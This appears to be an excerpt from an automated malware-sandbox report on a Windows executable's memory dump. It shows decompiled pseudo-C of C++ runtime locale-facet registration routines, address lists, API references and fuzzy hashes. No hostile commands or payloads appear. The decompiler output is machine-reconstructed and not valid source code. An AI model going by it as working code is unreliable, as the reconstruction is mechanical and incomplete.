																																														_t635 = E0042B315(_a8, E0042B22E(0x4edda0, _t634, _t653, __eflags));
																																														__eflags = _t635;
																																														if(_t635 != 0) {
																																															L103:
																																															L00488E42( &_v20);
																																															return L0049D8D4(_t635);
																																														} else {
																																															__eflags = _t653;
																																															if(__eflags == 0) {
																																																_push(_a8);
																																																_push( &_v16);
																																																__eflags = E0048E769(_t635, _t653, __eflags) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E0042B042(__eflags);
																																																	asm("int3");
																																																	_push(8);
																																																	L0049D90B(0x4d6966, _t635, _t653);
																																																	L00488DEA( &_v20, 0);
																																																	_t654 =  *0x4ede28;
																																																	_v4 = _v4 & 0x00000000;
																																																	_v16 = _t654;
																																																	_t636 = E0042B315(_a8, E0042B22E(0x4eddcc, _t635, _t654, __eflags));
																																																	__eflags = _t636;
																																																	if(_t636 != 0) {
																																																		L110:
																																																		L00488E42( &_v20);
																																																		return L0049D8D4(_t636);
																																																	} else {
																																																		__eflags = _t654;
																																																		if(__eflags == 0) {
																																																			_push(_a8);
																																																			_push( &_v16);
																																																			__eflags = E0048E7D5(_t636, _t654, __eflags) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E0042B042(__eflags);
																																																				asm("int3");
																																																				_push(8);
																																																				L0049D90B(0x4d6966, _t636, _t654);
																																																				L00488DEA( &_v20, 0);
																																																				_t655 =  *0x4eddf8;
																																																				_v4 = _v4 & 0x00000000;
																																																				_v16 = _t655;
																																																				_t637 = E0042B315(_a8, E0042B22E(0x4edd78, _t636, _t655, __eflags));
																																																				__eflags = _t637;
																																																				if(_t637 != 0) {
																																																					L117:
																																																					L00488E42( &_v20);
																																																					return L0049D8D4(_t637);
																																																				} else {
																																																					__eflags = _t655;
																																																					if(__eflags == 0) {
																																																						_push(_a8);
																																																						_push( &_v16);
																																																						_t394 = E0048E849(_t637, _t655, __eflags);
																																																						_pop(_t568);
																																																						__eflags = _t394 - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E0042B042(__eflags);
																																																							asm("int3");
																																																							_push(_t655);
																																																							_t656 = _t568;
																																																							_t206 = _t656 + 0x10;
																																																							 *_t206 =  *(_t656 + 0x10) & 0x00000000;
																																																							__eflags =  *_t206;
																																																							 *((intOrPtr*)(_t656 + 0x14)) = 7;
																																																							 *_t656 = 0;
																																																							L00494BE0( *((intOrPtr*)(_t678 + 8)));
																																																							return _t656;
																																																						} else {
																																																							_t637 = _v16;
																																																							_v16 = _t637;
																																																							_v4 = 1;
																																																							E0048919D(_t637);
																																																							 *0x4f02b4();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t637 + 4))))();
																																																							 *0x4eddf8 = _t637;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t637 = _t655;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t636 = _v16;
																																																				_v16 = _t636;
																																																				_v4 = 1;
																																																				E0048919D(_t636);
																																																				 *0x4f02b4();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t636 + 4))))();
																																																				 *0x4ede28 = _t636;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t636 = _t654;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t635 = _v16;
																																																	_v16 = _t635;
																																																	_v4 = 1;
																																																	E0048919D(_t635);
																																																	 *0x4f02b4();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t635 + 4))))();
																																																	 *0x4eddf4 = _t635;
																																																	goto L103;
																																																}
																																															} else {
																																																_t635 = _t653;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t634 = _v16;
																																														_v16 = _t634;
																																														_v4 = 1;
																																														E0048919D(_t634);
																																														 *0x4f02b4();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t634 + 4))))();
																																														 *0x4ede24 = _t634;
																																														goto L96;
																																													}
																																												} else {
																																													_t634 = _t652;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t633 = _v16;
																																											_v16 = _t633;
																																											_v4 = 1;
																																											E0048919D(_t633);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t633 + 4))))();
																																											 *0x4eddd8 = _t633;
																																											goto L89;
																																										}
																																									} else {
																																										_t633 = _t651;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t632 = _v16;
																																								_v16 = _t632;
																																								_v4 = 1;
																																								E0048919D(_t632);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t632 + 4))))();
																																								 *0x4ede08 = _t632;
																																								goto L82;
																																							}
																																						} else {
																																							_t632 = _t650;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t631 = _v16;
																																					_v16 = _t631;
																																					_v4 = 1;
																																					E0048919D(_t631);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t631 + 4))))();
																																					 *0x4eddd4 = _t631;
																																					goto L75;
																																				}
																																			} else {
																																				_t631 = _t649;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t630 = _v16;
																																		_v16 = _t630;
																																		_v4 = 1;
																																		E0048919D(_t630);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t630 + 4))))();
																																		 *0x4ede04 = _t630;
																																		goto L68;
																																	}
																																} else {
																																	_t630 = _t648;
																																	goto L68;
																																}
																															}
																														} else {
																															_t629 = _v16;
																															_v16 = _t629;
																															_v4 = 1;
																															E0048919D(_t629);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t629 + 4))))();
																															 *0x4eddd0 = _t629;
																															goto L61;
																														}
																													} else {
																														_t629 = _t647;
																														goto L61;
																													}
																												}
																											} else {
																												_t628 = _v16;
																												_v16 = _t628;
																												_v4 = 1;
																												E0048919D(_t628);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t628 + 4))))();
																												 *0x4ede00 = _t628;
																												goto L54;
																											}
																										} else {
																											_t628 = _t646;
																											goto L54;
																										}
																									}
																								} else {
																									_t627 = _v16;
																									_v16 = _t627;
																									_v4 = 1;
																									E0048919D(_t627);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t627 + 4))))();
																									 *0x4eddec = _t627;
																									goto L47;
																								}
																							} else {
																								_t627 = _t645;
																								goto L47;
																							}
																						}
																					} else {
																						_t626 = _v16;
																						_v16 = _t626;
																						_v4 = 1;
																						E0048919D(_t626);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t626 + 4))))();
																						 *0x4eddf0 = _t626;
																						goto L40;
																					}
																				} else {
																					_t626 = _t644;
																					goto L40;
																				}
																			}
																		} else {
																			_t625 = _v16;
																			_v16 = _t625;
																			_v4 = 1;
																			E0048919D(_t625);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t625 + 4))))();
																			 *0x4ede1c = _t625;
																			goto L33;
																		}
																	} else {
																		_t625 = _t643;
																		goto L33;
																	}
																}
															} else {
																_t624 = _v16;
																_v16 = _t624;
																_v4 = 1;
																E0048919D(_t624);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t624 + 4))))();
																 *0x4ede20 = _t624;
																goto L26;
															}
														} else {
															_t624 = _t642;
															goto L26;
														}
													}
												} else {
													_t623 = _v16;
													_v16 = _t623;
													_v4 = 1;
													E0048919D(_t623);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t623 + 4))))();
													 *0x4edde8 = _t623;
													goto L19;
												}
											} else {
												_t623 = _t641;
												goto L19;
											}
										}
									} else {
										_t622 = _v16;
										_v16 = _t622;
										_v4 = 1;
										E0048919D(_t622);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t622 + 4))))();
										 *0x4ede18 = _t622;
										goto L12;
									}
								} else {
									_t622 = _t640;
									goto L12;
								}
							}
						} else {
							_t621 = _v16;
							_v16 = _t621;
							_v4 = 1;
							E0048919D(_t621);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t621 + 4))))();
							 *0x4edde4 = _t621;
							goto L5;
						}
					} else {
						_t621 = _t639;
						goto L5;
					}
				}
			}

0x0048c67b
0x0048c682
0x0048c68c
0x0048c691
0x0048c69c
0x0048c6a0
0x0048c6ac
0x0048c6b1
0x0048c6b5
0x0048c6fa
0x0048c6fd
0x0048c709
0x0048c6b7
0x0048c6b9
0x0048c6bf
0x0048c6c5
0x0048c6cd
0x0048c6d0
0x0048c70a
0x0048c70f
0x0048c710
0x0048c717
0x0048c721
0x0048c726
0x0048c731
0x0048c735
0x0048c746
0x0048c748
0x0048c74a
0x0048c78f
0x0048c792
0x0048c79e
0x0048c74c
0x0048c74c
0x0048c74e
0x0048c754
0x0048c75a
0x0048c762
0x0048c765
0x0048c79f
0x0048c7a4
0x0048c7a5
0x0048c7ac
0x0048c7b6
0x0048c7bb
0x0048c7c6
0x0048c7ca
0x0048c7db
0x0048c7dd
0x0048c7df
0x0048c824
0x0048c827
0x0048c833
0x0048c7e1
0x0048c7e1
0x0048c7e3
0x0048c7e9
0x0048c7ef
0x0048c7f7
0x0048c7fa
0x0048c834
0x0048c839
0x0048c83a
0x0048c841
0x0048c84b
0x0048c850
0x0048c85b
0x0048c85f
0x0048c870
0x0048c872
0x0048c874
0x0048c8b9
0x0048c8bc
0x0048c8c8
0x0048c876
0x0048c876
0x0048c878
0x0048c87e
0x0048c884
0x0048c88c
0x0048c88f
0x0048c8c9
0x0048c8ce
0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c905
0x0048c907
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878
0x0048c7fc
0x0048c7fc
0x0048c7ff
0x0048c803
0x0048c807
0x0048c814
0x0048c81c
0x0048c81e
0x00000000
0x0048c81e
0x0048c7e5
0x0048c7e5
0x00000000
0x0048c7e5
0x0048c7e3
0x0048c767
0x0048c767
0x0048c76a
0x0048c76e
0x0048c772
0x0048c77f
0x0048c787
0x0048c789
0x00000000
0x0048c789
0x0048c750
0x0048c750
0x00000000
0x0048c750
0x0048c74e
0x0048c6d2
0x0048c6d2
0x0048c6d5
0x0048c6d9
0x0048c6dd
0x0048c6ea
0x0048c6f2
0x0048c6f4
0x00000000
0x0048c6f4
0x0048c6bb
0x0048c6bb
0x00000000
0x0048c6bb
0x0048c6b9

APIs

__EH_prolog3.LIBCMT ref: 0048C682
std::_Lockit::_Lockit.LIBCPMT ref: 0048C68C

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048C6DD
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C6FD
Concurrency::cancel_current_task.LIBCPMT ref: 0048C70A

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 2610cede116285a7b16c44db75211bf99cf7681eafe2dd1bcc3ed7b1ed237458
Instruction ID: 763280d64c59db26a0c921a3853d59946f1e1473d98edf89d40c6471ebc0812a
Opcode Fuzzy Hash: 2610cede116285a7b16c44db75211bf99cf7681eafe2dd1bcc3ed7b1ed237458
Instruction Fuzzy Hash: 9101C435D001158BCB05FB65D855ABE7761AF44314F14481FE811AB392DF7C9D018B99

Uniqueness

Uniqueness Score: -1.00%

Function 004996F3, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 004996FA
std::_Lockit::_Lockit.LIBCPMT ref: 00499704

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 00499755
std::_Lockit::~_Lockit.LIBCPMT ref: 00499775
Concurrency::cancel_current_task.LIBCPMT ref: 00499782

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 6abf941506e14b7361d78e07810b47e72f0795a2fff70a3903a1292df73f82db
Instruction ID: ecc89c3d6ce8d14d77863c0b9530e6bbc954f4bcb563ace94741e2b5c7e459db
Opcode Fuzzy Hash: 6abf941506e14b7361d78e07810b47e72f0795a2fff70a3903a1292df73f82db
Instruction Fuzzy Hash: D601ED35D00115DBCF01FBA9985A6BE7BA0AF80318F54446FE411AB382CF389E01CB89

Uniqueness

Uniqueness Score: -1.00%

Function 0048C710, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C710(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v188;
				signed int _t201;
				void* _t371;
				short* _t535;
				void* _t584;
				signed int _t586;
				signed int _t587;
				signed int _t588;
				signed int _t589;
				signed int _t590;
				signed int _t591;
				signed int _t592;
				signed int _t593;
				signed int _t594;
				signed int _t595;
				signed int _t596;
				signed int _t597;
				signed int _t598;
				signed int _t599;
				signed int _t600;
				void* _t601;
				signed int _t602;
				signed int _t603;
				signed int _t604;
				signed int _t605;
				signed int _t606;
				signed int _t607;
				signed int _t608;
				signed int _t609;
				signed int _t610;
				signed int _t611;
				signed int _t612;
				signed int _t613;
				signed int _t614;
				signed int _t615;
				signed int _t616;
				signed int _t617;
				short* _t618;
				void* _t639;
				void* _t640;

				_push(8);
				L0049D90B(0x4d6966, _t584, _t601);
				L00488DEA( &_v20, 0);
				_t602 =  *0x4ede18; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t602;
				_t201 = E0042B315(_a8, E0042B22E(0x4eddbc, _t584, _t602, _t640));
				_t585 = _t201;
				if(_t201 != 0) {
					L5:
					L00488E42( &_v20);
					return L0049D8D4(_t585);
				} else {
					if(_t602 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E185(_t585, _t602, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							L0049D90B(0x4d6966, _t585, _t602);
							L00488DEA( &_v20, 0);
							_t603 =  *0x4edde8; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t603;
							_t586 = E0042B315(_a8, E0042B22E(0x4edd94, _t585, _t603, __eflags));
							__eflags = _t586;
							if(_t586 != 0) {
								L12:
								L00488E42( &_v20);
								return L0049D8D4(_t586);
							} else {
								__eflags = _t603;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E1ED(_t586, _t603, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										L0049D90B(0x4d6966, _t586, _t603);
										L00488DEA( &_v20, 0);
										_t604 =  *0x4ede20;
										_v4 = _v4 & 0x00000000;
										_v16 = _t604;
										_t587 = E0042B315(_a8, E0042B22E(0x4eddc4, _t586, _t604, __eflags));
										__eflags = _t587;
										if(_t587 != 0) {
											L19:
											L00488E42( &_v20);
											return L0049D8D4(_t587);
										} else {
											__eflags = _t604;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E255(_t587, _t604, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													L0049D90B(0x4d6966, _t587, _t604);
													L00488DEA( &_v20, 0);
													_t605 =  *0x4ede1c;
													_v4 = _v4 & 0x00000000;
													_v16 = _t605;
													_t588 = E0042B315(_a8, E0042B22E(0x4eddc0, _t587, _t605, __eflags));
													__eflags = _t588;
													if(_t588 != 0) {
														L26:
														L00488E42( &_v20);
														return L0049D8D4(_t588);
													} else {
														__eflags = _t605;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E2D9(_t588, _t605, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																L0049D90B(0x4d6966, _t588, _t605);
																L00488DEA( &_v20, 0);
																_t606 =  *0x4eddf0;
																_v4 = _v4 & 0x00000000;
																_v16 = _t606;
																_t589 = E0042B315(_a8, E0042B22E(0x4edd9c, _t588, _t606, __eflags));
																__eflags = _t589;
																if(_t589 != 0) {
																	L33:
																	L00488E42( &_v20);
																	return L0049D8D4(_t589);
																} else {
																	__eflags = _t606;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E35E(_t589, _t606, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			L0049D90B(0x4d6966, _t589, _t606);
																			L00488DEA( &_v20, 0);
																			_t607 =  *0x4eddec;
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t607;
																			_t590 = E0042B315(_a8, E0042B22E(0x4edd98, _t589, _t607, __eflags));
																			__eflags = _t590;
																			if(_t590 != 0) {
																				L40:
																				L00488E42( &_v20);
																				return L0049D8D4(_t590);
																			} else {
																				__eflags = _t607;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E3E2(_t590, _t607, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						L0049D90B(0x4d6966, _t590, _t607);
																						L00488DEA( &_v20, 0);
																						_t608 =  *0x4ede00;
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t608;
																						_t591 = E0042B315(_a8, E0042B22E(0x4edda4, _t590, _t608, __eflags));
																						__eflags = _t591;
																						if(_t591 != 0) {
																							L47:
																							L00488E42( &_v20);
																							return L0049D8D4(_t591);
																						} else {
																							__eflags = _t608;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E467(_t591, _t608, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									L0049D90B(0x4d6966, _t591, _t608);
																									L00488DEA( &_v20, 0);
																									_t609 =  *0x4eddd0;
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t609;
																									_t592 = E0042B315(_a8, E0042B22E(0x4edd7c, _t591, _t609, __eflags));
																									__eflags = _t592;
																									if(_t592 != 0) {
																										L54:
																										L00488E42( &_v20);
																										return L0049D8D4(_t592);
																									} else {
																										__eflags = _t609;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E4CF(_t592, _t609, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												L0049D90B(0x4d6966, _t592, _t609);
																												L00488DEA( &_v20, 0);
																												_t610 =  *0x4ede04;
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t610;
																												_t593 = E0042B315(_a8, E0042B22E(0x4edda8, _t592, _t610, __eflags));
																												__eflags = _t593;
																												if(_t593 != 0) {
																													L61:
																													L00488E42( &_v20);
																													return L0049D8D4(_t593);
																												} else {
																													__eflags = _t610;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E537(_t593, _t610, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															L0049D90B(0x4d6966, _t593, _t610);
																															L00488DEA( &_v20, 0);
																															_t611 =  *0x4eddd4;
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t611;
																															_t594 = E0042B315(_a8, E0042B22E(0x4edd80, _t593, _t611, __eflags));
																															__eflags = _t594;
																															if(_t594 != 0) {
																																L68:
																																L00488E42( &_v20);
																																return L0049D8D4(_t594);
																															} else {
																																__eflags = _t611;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E59F(_t594, _t611, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		L0049D90B(0x4d6966, _t594, _t611);
																																		L00488DEA( &_v20, 0);
																																		_t612 =  *0x4ede08;
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t612;
																																		_t595 = E0042B315(_a8, E0042B22E(0x4eddac, _t594, _t612, __eflags));
																																		__eflags = _t595;
																																		if(_t595 != 0) {
																																			L75:
																																			L00488E42( &_v20);
																																			return L0049D8D4(_t595);
																																		} else {
																																			__eflags = _t612;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E607(_t595, _t612, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					L0049D90B(0x4d6966, _t595, _t612);
																																					L00488DEA( &_v20, 0);
																																					_t613 =  *0x4eddd8;
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t613;
																																					_t596 = E0042B315(_a8, E0042B22E(0x4edd84, _t595, _t613, __eflags));
																																					__eflags = _t596;
																																					if(_t596 != 0) {
																																						L82:
																																						L00488E42( &_v20);
																																						return L0049D8D4(_t596);
																																					} else {
																																						__eflags = _t613;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E682(_t596, _t613, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
